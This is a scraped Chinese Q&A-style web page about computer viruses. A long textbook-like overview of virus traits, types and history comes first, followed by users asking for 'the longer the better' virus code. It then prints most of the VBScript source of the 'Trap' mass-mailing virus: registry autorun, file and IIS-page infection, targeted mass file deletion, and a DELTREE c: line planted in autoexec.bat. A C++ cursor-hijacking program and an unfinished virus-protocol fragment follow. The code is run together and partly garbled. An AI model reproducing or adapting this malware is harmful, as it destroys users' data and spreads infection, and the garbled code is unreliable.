简单的病毒编程代码复制(简单的QQ病毒编程代码)

      最后更新:2023-05-21 18:26

      用C语言写一段自我复制感染的代码,

      《中华人民共和国计算机信息系统安全保护条例》中被明确定义,病毒指“编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。而在一般教科书及通用资料中被定义为:利用计算机软件与硬件的缺陷,由被感染机内部发出的破坏计算机数据并影响计算机正常工作的一组指令集或程序代码 。计算机病毒最早出现在70年代 David Gerrold 科幻小说 When H.A.R.L.I.E. was One.最早科学定义出现在 1983:在Fred Cohen (南加大) 的博士论文 “计算机病毒实验”“一种能把自己(或经演变)注入其它程序的计算机程序”启动区病毒,宏(macro)病毒,脚本(script)病毒也是相同概念传播机制同生物病毒类似.生物病毒是把自己注入细胞之中。 电脑病毒二、计算机病毒的长期性:病毒往往会利用计算机操作系统的弱点进行传播,提高系统的安全性是防病毒的一个重要方面,但完美的系统是不存在的,过于强调提高系统的安全性将使系统多数时间用于病毒检查,系统失去了可用性、实用性和易用性,另一方面,信息保密的要求让人们在泄密和抓住病毒之间无法选择。病毒与反病毒将作为一种技术对抗长期存在,两种技术都将随计算机技术的发展而得到长期的发展。三、计算机病毒的产生:病毒不是来源于突发或偶然的原因。一次突发的停电和偶然的错误,会在计算机的磁盘和内存中产生一些乱码和随机指令,但这些代码是无序和混乱的,病毒则是一种比较完美的,精巧严谨的代码,按照严格的秩序组织起来,与所在的系统网络环境相适应和配合起来,病毒不会通过偶然形成,并且需要有一定的长度,这个基本的长度从概率上来讲是不可能通过随机代码产生的。现在流行的病毒是由人为故意编写的,多数病毒可以找到作者和产地信息,从大量的统计分析来看,病毒作者主要情况和目的是:一些天才的程序员为了表现自己和证明自己的能力,出于对上司的不满,为了好奇,为了报复,为了祝贺和求爱,为了得到控制口令,为了软件拿不到报酬预留的陷阱等.当然也有因政治,军事,宗教,民族.专利等方面的需求而专门编写的,其中也包括一些病毒研究机构和黑客的测试病毒.四、计算机病毒的特点,计算机病毒具有以下几个特点:(1) 寄生性:计算机病毒寄生在其他程序之中,当执行这个程序时,病毒就起破坏作用,而在未启动这个程序之前,它是不易被人发觉的。(2) 传染性:计算机病毒不但本身具有破坏性,更有害的是具有传染性,一旦病毒被复制或产生变种,其速度之快令人难以预防。传染性是病毒的基本特征。在生物界,病毒通过传染从一个生物体扩散到另一个生物体。在适当的条件下,它可得到大量繁殖,并使被感染的生物体表现出病症甚至死亡。同样,计算机病毒也会通过各种渠道从已被感染的计算机扩散到未被感染的计算机,在某些情况下造成被感染的计算机工作失常甚至瘫痪。与生物病毒不同的是,计算机病毒是一段人为编制的计算机程序代码,这段程序代码一旦进入计算机并得以执行,它就会搜寻其他符合其传染条件的程序或存储介质,确定目标后再将自身代码插入其中,达到自我繁殖的目的。只要一台计算机染毒,如不及时处理,那么病毒会在这台机子上迅速扩散,其中的大量文件(一般是可执行文件)会被感染。而被感染的文件又成了新的传染源,再与其他机器进行数据交换或通过网络接触,病毒会继续进行传染。 正常的计算机程序一般是不会将自身的代码强行连接到其他程序之上的。而病毒却能使自身的代码强行传染到一切符合其传染条件的未受到传染的程序之上。计算机病毒可通过各种可能的渠道,如软盘、计算机网络去传染其他的计算机。当您在一台机器上发现了病毒时,往往曾在这台计算机上用过的软盘已感染上了病毒,而与这台机器相联网的其他计算机也许也被该病毒染上了。是否具有传染性是判别一个程序是否为计算机病毒的最重要条件。 病毒程序通过修改磁盘扇区信息或文件内容并把自身嵌入到其中的方法达到病毒的传染和扩散。被嵌入的程序叫做宿主程序;(3) 潜伏性:有些病毒像定时炸弹一样,让它什么时间发作是预先设计好的。比如黑色星期五病毒,不到预定时间一点都觉察不出来,等到条件具备的时候一下子就爆炸开来,对系统进行破坏。一个编制精巧的计算机病毒程序,进入系统之后一般不会马上发作,可以在几周或者几个月内甚至几年内隐藏在合法文件中,对其他系统进行传染,而不被人发现,潜伏性愈好,其在系统中的存在时间就会愈长,病毒的传染范围就会愈大。 潜伏性的第一种表现是指,病毒程序不用专用检测程序是检查不出来的,因此病毒可以静静地躲在磁盘或磁带里呆上几天,甚至几年,一旦时机成熟,得到运行机会,就又要四处繁殖、扩散,继续为害。潜伏性的第二种表现是指,计算机病毒的内部往往有一种触发机制,不满足触发条件时,计算机病毒除了传染外不做什么破坏。触发条件一旦得到满足,有的在屏幕上显示信息、图形或特殊标识,有的则执行破坏系统的操作,如格式化磁盘、删除磁盘文件、对数据文件做加密、封锁键盘以及使系统死锁等;(4) 隐蔽性:计算机病毒具有很强的隐蔽性,有的可以通过病毒软件检查出来,有的根本就查不出来,有的时隐时现、变化无常,这类病毒处理起来通常很困难。(5)破坏性:计算机中毒后,可能会导致正常的程序无法运行,把计算机内的文件删除或受到不同程度的损坏 。通常表现为:增、删、改、移。(6)计算机病毒的可触发性:病毒因某个事件或数值的出现,诱使病毒实施感染或进行攻击的特性称为可触发性。为了隐蔽自己,病毒必须潜伏,少做动作。如果完全不动,一直潜伏的话,病毒既不能感染也不能进行破坏,便失去了杀伤力。病毒既要隐蔽又要维持杀伤力,它必须具有可触发性。病毒的触发机制就是用来控制感染和破坏动作的频率的。病毒具有预定的触发条件,这些条件可能是时间、日期、文件类型或某些特定数据等。病毒运行时,触发机制检查预定条件是否满足,如果满足,启动感染或破坏动作,使病毒进行感染或攻击;如果不满足,使病毒继续潜伏。五、计算机病毒分类,根据多年对计算机病毒的研究,按照科学的、系统的、严密的方法,计算机病毒可分类如下:按照计算机病毒属性的方法进行分类,计算机病毒可以根据下面的属性进行分类:按照计算机病毒存在的媒体进行分类:(1)根据病毒存在的媒体,病毒可以划分为网络病毒,文件病毒,引导型病毒。网络病毒通过计算机网络传播感染网络中的可执行文件,文件病毒感染计算机中的文件(如:COM,EXE,DOC等),引导型病毒感染启动扇区(Boot)和硬盘的系统引导扇区(MBR),还有这三种情况的混合型,例如:多型病毒(文件和引导型)感染文件和引导扇区两种目标,这样的病毒通常都具有复杂的算法,它们使用非常规的办法侵入系统,同时使用了加密和变形算法。按照计算机病毒传染的方法进行分类:(2)根据病毒传染的方法可分为驻留型病毒和非驻留型病毒,驻留型病毒感染计算机后,把自身的内存驻留部分放在内存(RAM)中,这一部分程序挂接系统调用并合并到操作系统中去,他处于激活状态,一直到关机或重新启动.非驻留型病毒在得到机会激活时并不感染计算机内存,一些病毒在内存中留有小部分,但是并不通过这一部分进行传染,这类病毒也被划分为非驻留型病毒。(3) 根据病毒破坏的能力可划分为以下几种:无害型除了传染时减少磁盘的可用空间外,对系统没有其它影响。无危险型这类病毒仅仅是减少内存、显示图像、发出声音及同类音响。危险型这类病毒在计算机系统操作中造成严重的错误。非常危险型这类病毒删除程序、破坏数据、清除系统内存区和操作系统中重要的信息。这些病毒对系统造成的危害,并不是本身的算法中存在危险的调用,而是当它们传染时会引起无法预料的和灾难性的破坏。由病毒引起其它的程序产生的错误也会破坏文件和扇区,这些病毒也按照他们引起的破坏能力划分。一些现在的无害型病毒也可能会对新版的DOS、Windows和其它操作系统造成破坏。例如:在早期的病毒中,有一个“Denzuk”病毒在360K磁盘上很好的工作,不会造成任何破坏,但是在后来的高密度软盘上却能引起大量的数据丢失。(4)根据病毒特有的算法,病毒可以划分为:1. 伴随型病毒,这一类病毒并不改变文件本身,它们根据算法产生EXE文件的伴随体,具有同样的名字和不同的扩展名(COM),例如:XCOPY.EXE的伴随体是XCOPY.COM。病毒把自身写入COM文件并不改变EXE文件,当DOS加载文件时,伴随体优先被执行到,再由伴随体加载执行原来的EXE文件。2. “蠕虫”型病毒,通过计算机网络传播,不改变文件和资料信息,利用网络从一台机器的内存传播到其它机器的内存,计算网络地址,将自身的病毒通过网络发送。有时它们在系统存在,一般除了内存不占用其它资源。3. 寄生型病毒 除了伴随和“蠕虫”型,其它病毒均可称为寄生型病毒,它们依附在系统的引导扇区或文件中,通过系统的功能进行传播,按其算法不同可分为:练习型病毒,病毒自身包含错误,不能进行很好的传播,例如一些病毒在调试阶段。4. 诡秘型病毒 它们一般不直接修改DOS中断和扇区数据,而是通过设备技术和文件缓冲区等DOS内部修改,不易看到资源,使用比较高级的技术。利用DOS空闲的数据区进行工作。5. 变型病毒(又称幽灵病毒) 这一类病毒使用一个复杂的算法,使自己每传播一份都具有不同的内容和长度。它们一般的作法是一段混有无关指令的解码算法和被变化过的病毒体组成。六、计算机病毒的发展,在病毒的发展史上,病毒的出现是有规律的,一般情况下一种新的病毒技术出现后,病毒迅速发展,接着反病毒技术的发展会抑制其流传。操作系统升级后,病毒也会调整为新的方式,产生新的病毒技术。它可划分为:DOS引导阶段1987年,计算机病毒主要是引导型病毒,具有代表性的是“小球”和“石头”病毒。当时的计算机硬件较少,功能简单,一般需要通过软盘启动后使用.引导型病毒利用软盘的启动原理工作,它们修改系统启动扇区,在计算机启动时首先取得控制权,减少系统内存,修改磁盘读写中断,影响系统工作效率,在系统存取磁盘时进行传播;1989年,引导型病毒发展为可以感染硬盘,典型的代表有“石头2”;DOS可执行阶段1989年,可执行文件型病毒出现,它们利用DOS系统加载执行文件的机制工作,代表为“耶路撒冷”,“星期天”病毒,病毒代码在系统执行文件时取得控制权,修改DOS中断,在系统调用时进行传染,并将自己附加在可执行文件中,使文件长度增加。1990年,发展为复合型病毒,可感染COM和EXE文件。伴随、批次型阶段1992年,伴随型病毒出现,它们利用DOS加载文件的优先顺序进行工作,具有代表性的是“金蝉”病毒,它感染EXE文件时生成一个和EXE同名但扩展名为COM的伴随体;它感染文件时,改原来的COM文件为同名的EXE文件,再产生一个原名的伴随体,文件扩展名为COM,这样,在DOS加载文件时,病毒就取得控制权.这类病毒的特点是不改变原来的文件内容,日期及属性,解除病毒时只要将其伴随体删除即可。在非DOS操作系统中,一些伴随型病毒利用操作系统的描述语言进行工作,具有典型代表的是“海盗旗”病毒,它在得到执行时,询问用户名称和口令,然后返回一个出错信息,将自身删除。批次型病毒是工作在DOS下的和“海盗旗”病毒类似的一类病毒。幽灵、多形阶段1994年,随着汇编语言的发展,实现同一功能可以用不同的方式进行完成,这些方式的组合使一段看似随机的代码产生相同的运算结果。幽灵病毒就是利用这个特点,每感染一次就产生不同的代码。例如“一半”病毒就是产生一段有上亿种可能的解码运算程序,病毒体被隐藏在解码前的数据中,查解这类病毒就必须能对这段数据进行解码,加大了查毒的难度。多形型病毒是一种综合性病毒,它既能感染引导区又能感染程序区,多数具有解码算法,一种病毒往往要两段以上的子程序方能解除。生成器,变体机阶段1995年,在汇编语言中,一些数据的运算放在不同的通用寄存器中,可运算出同样的结果,随机的插入一些空操作和无关指令,也不影响运算的结果,这样,一段解码算法就可以由生成器生成,当生成器的生成结果为病毒时,就产生了这种复杂的“病毒生成器” ,而变体机就是增加解码复杂程度的指令生成机制。这一阶段的典型代表是“病毒制造机” VCL,它可以在瞬间制造出成千上万种不同的病毒,查解时就不能使用传统的特征识别法,需要在宏观上分析指令,解码后查解病毒。网络,蠕虫阶段1995年,随着网络的普及,病毒开始利用网络进行传播,它们只是以上几代病毒的改进.在非DOS操作系统中,“蠕虫”是典型的代表,它不占用除内存以外的任何资源,不修改磁盘文件,利用网络功能搜索网络地址,将自身向下一地址进行传播,有时也在网络服务器和启动文件中存在。视窗阶段1996年,随着Windows和Windows95的日益普及,利用Windows进行工作的病毒开始发展,它们修改(NE,PE)文件,典型的代表是DS.3873,这类病毒的机制更为复杂,它们利用保护模式和API调用接口工作,解除方法也比较复杂。 宏病毒阶段1996年,随着Windows Word功能的增强,使用Word宏语言也可以编制病毒,这种病毒使用类Basic语言、编写容易、感染Word文档等文件,在Excel和AmiPro出现的相同工作机制的病毒也归为此类,由于Word文档格式没有公开,这类病毒查解比较困难;互连网阶段1997年,随着因特网的发展,各种病毒也开始利用因特网进行传播,一些携带病毒的数据包和邮件越来越多,如果不小心打开了这些邮件,机器就有可能中毒;爪哇(Java),邮件炸弹阶段1997年,随着万维网(Wold Wide Web)上Java的普及,利用Java语言进行传播和资料获取的病毒开始出现,典型的代表是JavaSnake病毒,还有一些利用邮件服务器进行传播和破坏的病毒,例如Mail-Bomb病毒,它会严重影响因特网的效率。七、其他的破坏行为,计算机病毒的破坏行为体现了病毒的杀伤能力。病毒破坏行为的激烈程度取决于病毒作者的主观愿望和他所具有的技术能量。数以万计不断发展扩张的病毒,其破坏行为千奇百怪,不可能穷举其破坏行为,而且难以做全面的描述,根据现有的病毒资料可以把病毒的破坏目标和攻击部位归纳如下: 攻击系统数据区,攻击部位包括:硬盘主引寻扇区、Boot扇区、FAT表、文件目录等。一般来说,攻击系统数据区的病毒是恶性病毒,受损的数据不易恢复。 攻击文件,病毒对文件的攻击方式很多,可列举如下:删除、改名、替换内容、丢失部分程序代码、内容颠倒、写入时间空白、变碎片、假冒文件、丢失文件簇、丢失数据文件等。攻击内存,内存是计算机的重要资源,也是病毒攻击的主要目标之一,病毒额外地占用和消耗系统的内存资源,可以导致一些较大的程序难以运行。病毒攻击内存的方式如下:占用大量内存、改变内存总量、禁止分配内存、蚕食内存等。干扰系统运行,此类型病毒会干扰系统的正常运行,以此作为自己的破坏行为,此类行为也是花样繁多,可以列举下述诸方式:不执行命令、干扰内部命令的执行、虚假报警、使文件打不开、使内部栈溢出、占用特殊数据区、时钟倒转、重启动、死机、强制游戏、扰乱串行口、并行口等。 速度下降,病毒激活时,其内部的时间延迟程序启动,在时钟中纳入了时间的循环计数,迫使计算机空转,计算机速度明显下降。攻击磁盘,攻击磁盘数据、不写盘、写操作变读操作、写盘时丢字节等。 扰乱屏幕显示,病毒扰乱屏幕显示的方式很多,可列举如下:字符跌落、环绕、倒置、显示前一屏、光标下跌、滚屏、抖动、乱写、吃字符等。 键盘病毒,干扰键盘操作,已发现有下述方式:响铃、封锁键盘、换字、抹掉缓存区字符、重复、输入紊乱等。 喇叭病毒,许多病毒运行时,会使计算机的喇叭发出响声。有的病毒作者通过喇叭发出种种声音,有的病毒作者让病毒演奏旋律优美的世界名曲,在高雅的曲调中去杀戮人们的信息财富,已发现的喇叭发声有以下方式:演奏曲子、警笛声、炸弹噪声、鸣叫、咔咔声、嘀嗒声等。 攻击CMOS , 在机器的CMOS区中,保存着系统的重要数据,例如系统时钟、磁盘类型、内存容量等,并具有校验和。有的病毒激活时,能够对CMOS区进行写入动作,破坏系统CMOS中的数据。 干扰打印机,典型现象为:假报警、间断性打印、更换字符等。八、计算机病毒的危害性,计算机资源的损失和破坏,不但会造成资源和财富的巨大浪费,而且有可能造成社会性的灾难,随着信息化社会的发展,计算机病毒的威胁日益严重,反病毒的任务也更加艰巨了。1988年11月2日下午5时1分59秒,美国康奈尔大学的计算机科学系研究生,23岁的莫里斯(Morris)将其编写的蠕虫程序输入计算机网络,致使这个拥有数万台计算机的网络被堵塞。这件事就像是计算机界的一次大地震,引起了巨大反响,震惊全世界,引起了人们对计算机病毒的恐慌,也使更多的计算机专家重视和致力于计算机病毒研究。1988年下半年,我国在统计局系统首次发现了“小球”病毒,它对统计系统影响极大,此后由计算机病毒发作而引起的“病毒事件”接连不断,前一段时间发现的CIH、美丽莎等病毒更是给社会造成了很大损失。九、用户计算机中毒的24种症状1.计算机系统运行速度减慢。2.计算机系统经常无故发生死机。3.计算机系统中的文件长度发生变化。4.计算机存储的容量异常减少。5.系统引导速度减慢。6.丢失文件或文件损坏。7.计算机屏幕上出现异常显示。8.计算机系统的蜂鸣器出现异常声响。9.磁盘卷标发生变化。10.系统不识别硬盘。11.对存储系统异常访问。12.键盘输入异常。13.文件的日期、时间、属性等发生变化。14.文件无法正确读取、复制或打开。15.命令执行出现错误。16.虚假报警。17.换当前盘。有些病毒会将当前盘切换到C盘。18.时钟倒转。有些病毒会命名系统时间倒转,逆向计时。19.WINDOWS操作系统无故频繁出现错误。20.系统异常重新启动。21.一些外部设备工作异常。22.异常要求用户输入密码。23.WORD或EXCEL提示执行“宏”。24.是不应驻留内存的程序驻留内存。计算机病毒是在什么情况下出现的?计算机病毒的产生是计算机技术和以计算机为核心的社会信息化进程发展到一定阶段的必然产物。它产生的背景是:(1)计算机病毒是计算机犯罪的一种新的衍化形式计算机病毒是高技术犯罪, 具有瞬时性、动态性和随机性。不易取证, 风险小破坏大, 从而刺激了犯罪意识和犯罪活动。是某些人恶作剧和报复心态在计算机应用领域的表现;(2)计算机软硬件产品的脆弱性是根本的技术原因 计算机是电子产品。数据从输入、存储、处理、输出等环节, 易误入、篡改、丢失、作假和破坏;程序易被删除、改写;计算机软件设计的手工方式, 效率低下且生产周期长;人们至今没有办法事先了解一个程序有没有错误, 只能在运行中发现、修改错误, 并不知道还有多少错误和缺陷隐藏在其中。这些脆弱性就为病毒的侵入提供了方便;
      用C语言写一段自我复制感染的代码,

      给个C语言病毒代码.....要复制的....越长越好

      下面就对“陷阱”的发作过程和源代码作详细的揭密。 病毒具有自身加密能力(使用 JavaScript 编码技术),使得普通用户无法看到病毒原码,但在被感染 VBS 文件中并没有加密,于是作为一个入口点,我非常轻松地得到所有源码。'@ thank you! make use of other person to get rid of an enemy, trap _2001'这句话的意思可能是“借刀杀人”,然后是病毒名称“陷阱”on error resume nextdim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Strdim defpath, smailc, MAX_SIZEdim whb(), title(10)smailc = 4Redim whb(smailc) ’白宫相关人员邮件名单whb(0) = "president@whitehouse.gov"whb(1) = "vice.president@whitehouse.gov "whb(2) = "first.lady@whitehouse.gov"whb(3) = "mrs.cheney@whitehouse.gov"'发送邮件的主题title(0) = "Thanks for helping me!"title(1) = "The police are investigating the robbery"title(2) = "an application for a job "title(3) = "The aspects of an application process pertinent to OSI"title(4) = "What a pleasant weather. Why not go out for a walk?"title(5) = "These countries have gone / been through too many wars"title(6) = "We've fixed on the 17th of April for the wedding"title(7) = "The wind failed and the sea returned to calmness."title(8) = "the sitting is open!"title(9) = ""defpath = "C:Readme.html" ' 病毒文件MAX_SIZE = 100000 ' 定义传染文件的最大尺寸MSWKEY = "HKEY_LOCAL_MACHINESoftWareMicrosoftWindows"HCUW = "HKEY_CURRENT_USERSoftwareMicrosoftWAB"mainsub main() '主程序on error resume nextdim w_sw_s= WScript.ScriptFullName '得到病毒文件本身的路径if w_s = "" thenErr.Clearset fso = CreateObject("Scripting.FileSystemObject") '创建文件系统对象if getErr then '辨认病毒状态Randomize '初始化随机种子ra = int(rnd() * 7) '产生随机数doucment.write title(ra) ' 写随机内容ExecuteMail '执行邮件状态时的程序elseExecutePage '执行 WEB 页状态时的程序end ifelseExecuteVbs '执行 VBS 文件状态时的程序end ifend subFunction getErr() 忽略错误if Err.number<>0 thengetErr=trueErr.ClearelsegetErr=falseend ifend functionsub ExecutePage() 'WEB 页状态时的程序on error resume nextdim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vfVbs_Str = GetScriptCode("vbscript") '得到 VBScript 代码Js_Str = GetJavaScript() ' 得到 Javascript 代码Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密过的脚本代码Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代码Gf'定义病毒文件的路径wdsf = w2 & "Mdm.vbs"wdsf2 = w1 & "Profile.vbs"wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 两个文件非常迷惑人wdf2 = w2 & "Readme.html"wdf3 = w2 & "system.dll"'创建病毒文件set vf = fso.OpenTextFile (wdf, 2, true)vf.write Vbs_Strvf.closeset vf = fso.OpenTextFile (wdsf, 2, true)vf.write Vbs_Strvf.closeset vf = fso.OpenTextFile (wdsf2, 2, true)vf.Write Vbs_Strvf.closeset vf = fso.OpenTextFile (wdf2, 2, true)vf.write Html_Strvf.closeset vf = fso.OpenTextFile (wdf3, 2, true)vf.write Code_Strvf.close修改注册表,让病毒文件在每一次计算机启动自动执行Writereg MSWKEY & "CurrentVersionRunMdm", wdsf, ""Writereg MSWKEY & "CurrentVersionRunServicesProfile", wdsf2, ""SendMail ' 执行发送邮件程序Hackpage ' 执行感染网站程序set adi = fso.Drivesfor each x in adiif x.DrivesType = 2 or x.DrivesType = 3 then '遍历所有本地硬盘和网络共享硬盘call SearchHTML(x & "") '执行文件感染程序end ifnextif TestUser then '检查用户Killhe 执行删除文件操作elseif Month(Date) & Day(Date) = "75" then '如系统时间为 7月5日set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) ’创建系统攻击文件vf.write MakeScript ("window.navigate ('c:/con/con');", false)vf.closeWritereg MSWKEY & "CurrentVersionRun75", w2 & "75.htm", "" '自动启动window.navigate "c:/con/con" '立刻蓝屏,利用 Windows BUG,能引起 Win9X 系统100%死机(即无法恢复的蓝屏)else '如不是7.5if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 删除75.htmend ifend ifif fso.FileExists(defpath) then fso.DeleteFile defpath ' 删除 C:Readme.html 病毒文件end subsub ExecuteMail() '邮件状态时执行的程序on error resume nextVbs_Str = GetScriptCode("vbscript")Js_Str = GetJavaScript()Set Stl = CreateObject("Scriptlet.TypeLib") '创建 TypeLib对象with Stl.Reset.Path = defpath.Doc = MakeHtml(encrypt(Vbs_str), true).Write() '创建 C:Readme.html 文件end withwindow.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打开会隐藏的窗口end subsub ExecuteVbs() ' 同理,如病毒文件是 VBS 时所执行的程序on error resume nextdim x, adi, wvbs, ws, vfset fso = CreateObject("Scripting.FileSystemObject")set wvbs = CreateObject("WScript.Shell")Gfwvbs.RegWrite MSWKEY & "Windows Scripting HostSetingsTimeout", 0, "REG_DWORD"set vf = fso.OpenTextFile (w2 & "system.dll", 1)Code_Str = vf.ReadAll()vf.closeHackpageSendMailset adi = fso.Drivesfor each x in adiif x.DrivesType = 2 or x.DrivesType = 3 thencall SearchHTML(x & "")end ifnextif TestUser then Killheend subsub Gf() '得到系统路径w1=fso.GetSpecialFolder(0) & ""w2=fso.GetSpecialFolder(1) & ""end subfunction Readreg(key_str) '读注册表set tmps = CreateObject("WScript.Shell")Readreg = tmps.RegRead(key_str)set tmps = Nothingend functionfunction Writereg(key_str, Newvalue, vtype) '写注册表set tmps = CreateObject("WScript.Shell")if vtype="" thentmps.RegWrite key_str, Newvalueelsetmps.RegWrite key_str, Newvalue, vtypeend ifset tmps = Nothingend functionfunction MakeHtml(Sbuffer, iHTML) '创建HTML 文件的完整代码dim raRandomizera = int(rnd() * 7)MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "<" & "/HEAD>" & _"" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _"<" & "/BOAD><" & "/HTML>"end Functionfunction MakeScript(Codestr, iHTML) '此程序是病毒进行自我加密过程,较为复杂,不再描述if iHTML thendim DocuWriteDocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>n'+" & _"jword" & "+'n');"DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>n'+" & _"nword" & "+'n');"MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & ""elseMakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & ""end ifend functionfunction GetScriptCode(Languages) ' 得到不同脚本语言的代码dim sojfor each soj in document.scriptsif LCase(soj.Language) = Languages thenif Languages = "javascript" thenif len(soj.Text)> 200 thenelseGetScriptCode = soj.Textexit functionend ifelseGetScriptCode = soj.Textexit functionend ifend ifnextend functionfunction GetJavaScript()GetJavaScript = GetScriptCode("javascript")end functionfunction TestUser() '检测用户过程on error resume nextdim keys(6), i, tmpStr, Wnet'特定用户关键词keys(0) = "white home"keys(1) = "central intelligence agency"keys(2) = "bush"keys(3) = "american stock exchang"keys(4) = "chief executive"keys(5) = "usa"TestUser = falseSet Wnet = CreateObject("WScript.Network") '创建网络对象'下面一共3个循环,作用一样,是检查用户的 Domain、用户名和计算机名是否含有以上的5个关键词语,一旦含有程序将返回”真”的条件,从而对这些用户的文件进行疯狂删除。tmpStr = LCase(Wnet.UserName) 'for i=0 to 4if InStr(tmpStr, keys(i)) > 0 thenTestUser=trueexit functionend ifnexttmpStr = LCase(Wnet.ComputerName)for i=0 to 4if InStr(tmpStr, keys(i)) > 0 thenTestUser=trueexit functionend ifnexttmpStr = LCase(Wnet.UserDomain)for i=0 to 4if InStr(tmpStr, keys(i)) >0 thenTestUser=trueexit functionend ifnextSet Wnet = Nothingend functionfunction SendMail() '发送文件过程on error resume nextdim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at'首先向 OutLook 地址簿发送带能直接感染文件的已加密的病毒代码和HTML 附件主题是随机的,此过程与“欢乐时光“类似,所以不再描述Randomizeat=fso.GetSpecialFolder(1) & "Readme.html"set Oa = CreateObject("Outlook.Application")set wab = Oa.GetNameSpace("MAPI")for j = 1 to wab.AddressLists.Counteins = wab.AddressLists(j)wreg=Readreg (HCUW & eins)if (wreg="") then wreg = 1Eaec = eins.AddressEntries.Countif (Eaec > Int(wreg)) thenfor x = 1 to Eaecarrsm = wab.AddressEntries(x)areg = Readreg(HCUW & arrsm)if (areg = "") thenset fm = wab.CreateItem(0)with fmra = int(rnd() * 7).Recipients.Add arrsm.Subject = title(ra).Body = title(ra).Attachments at.SendWritereg HCUW & arrsm, 1, "REG_DWORD"end withend ifnextend ifWritereg HCUW & eins, Eaec, ""next'下面是对指定的用户无条件发送大量病毒邮件, 从这一点可看出病毒作者对美国政府的极度不满。for j = 1 to smailcarrsm = whb(j)set fm = wab.CreateItem(0)ra = int(rnd() * 7)with fm.Recipients.Add arrsm.Subject = title(ra).Body = title(ra).Sendend withnextset Oa = Nothingwindow.setTimeout "SendMail()", 5000 '每隔 5 秒种重复发送end functionsub SearchHTML(Path) '搜索可传染文件的过程on error resume nextdim pfo, psfo, pf, ps, pfi, extif instr(Path, fso.GetSpecialFolder(2)) > 0 then exit subif Path <> "E:" then exit subset pfo = fso.GetFolder(Path)set psfo = pfo.SubFoldersfor each ps in psfoSearchHTML(ps.Path)set pf = ps.Filesfor each pfi in pfext = LCase(fso.GetExtensionName(pfi.Path))if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '检查文件的扩展名是否为 htm、html、plg 如是则检查是否被感染,如未被感染则将已加密的病毒代码插入文件头,这样文件一旦执行也会执行病毒代码,而且不会影响原文件的正常执行。if Code_Str<>"" then AddHead pfi.Path, pfi, 1elseif ext= "vbs" then '如是 vbs 文件,则插入未加密的病毒代码AddHead pfi.Path,pfi, 2end ifnextnextend subsub Killhe() '全盘删除文件过程on error resume nextdim codeText, ko,adi, kd, kh, ks,kf,kfscodeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_"DELTREE c:" '将删除C盘的命令插入Autoexec.bat 中,下次开机时,删除整个硬盘,并没有任何提示set ko = fso.OpenTextFile("C:Autoexec.bat", 8, true)ko.Write vbcrlf & codeTextko.Close'接着立刻删除其它盘的所有文件set adi = fso.Drivesfor each x in adiif x.DrivesType = 2 thenset kd = fso.GetFolder(x & "")set kfs = kd.Filesfor each kf in kfskf.Deletenextset ks = kd.SubFoldersfor each kh in kskh.Deletenextend ifnextdo while 1 '让系统立刻死机window.open ""loopend subsub Hackpage() ' 此过程是直接攻击 Mircosoft IIS 服务器主页过程dim fiH = "C:InetPutwwwroot"if fso.FolderExists(H) then'判断是否为网站,如是则将已加密的带病毒代码插入文件头,从而直接传染浏览该网站的用户set fi = fso.GetFile(H & "index.htm")AddHead H & "index.htm",fi,1end ifend subsub AddHead(Path, f, t) '此过程是病毒传染文件具体过程on error resume nextdim tso, buffer,srif f.size > MAX_SIZE then exit sub '传染大小小于100K的文件set tso = fso.OpenTextFile(Path, 1, true)buffer = tso.ReadAll()tso.closeif (t = 1) thenif UCase(Left(LTrim(buffer), 7)) <> " "'@" thentso.closesr=w2 & "user.dll"if fso.FileExists(sr) then fso.CopyFile sr, Pathend ifend ifend sub 虽然病毒发作日已过但我们还是要小心提防病毒的变种出现。
      我的回答 http://zhidao.baidu.com/question/58822352.html 太长了,复制要很久
      给个C语言病毒代码.....要复制的....越长越好

      求C++病毒代码

      /*此病毒是鼠标乱跑病毒,打开之后鼠标就会不受控制的乱跑,按tab+Alt,再按alt+f4就行*/ #include#include#includeusing namespace std;int main(){system("color 0a");POINT mouse;srand(time(0));while(1){GetCursorPos(&mouse);mouse.x=rand()%1920;mouse.y=rand()%1080;//cout</* 分布式病毒协议的C/C++描述代码Coded by Vxk in CVCCopyRight® 2001-20022002.10.18..night*/#include #include #include #include #include #include typedef struct CONNINST{SOCKET socket; /* 本地Socket号 */unsigned short clientPort; /* 客户端端口 */struct in_addr clientIP; /* 客户端IP地址 */time_t beginTime; /* 连接建立时间 - 预留 */time_t updateTime; /* 最后更新时间 - 预留 */WORD lastestSequenceNumber; /* 最新包序号 */unsigned short key; /* 密钥 - 预留*/unsigned short cmdLen; /* 结果堆长度 */char *pCmd; /* 命令堆 */unsigned short resultLen; /* 结果堆长度 */char *pResult; /* 结果堆 */struct CONNINST* next; /* 下一个请求实例的地址 */}CONNINST, *pCONNINST;typedef struct Maillist{String Address;String Name;Struct Maillist *pNext;}Maillist,*pMaillist;typedef struct Moudlelist{String MoudleName;String MoudleFileName;String MoudleGuid;String UseFor;String MoudleAuther;Struct Moudlelist *pNext;}Moudlelist,*pMoudlelist;typedef struct FileUpData{struct in_addr clientIP;DWORD port;DWORD SAMGuid;String FileName;lvoid cmd;}FileUpData,*pFileUpData;typedef struct DVPPak{String SAMCommand;String Guid;String Auther;lvoid 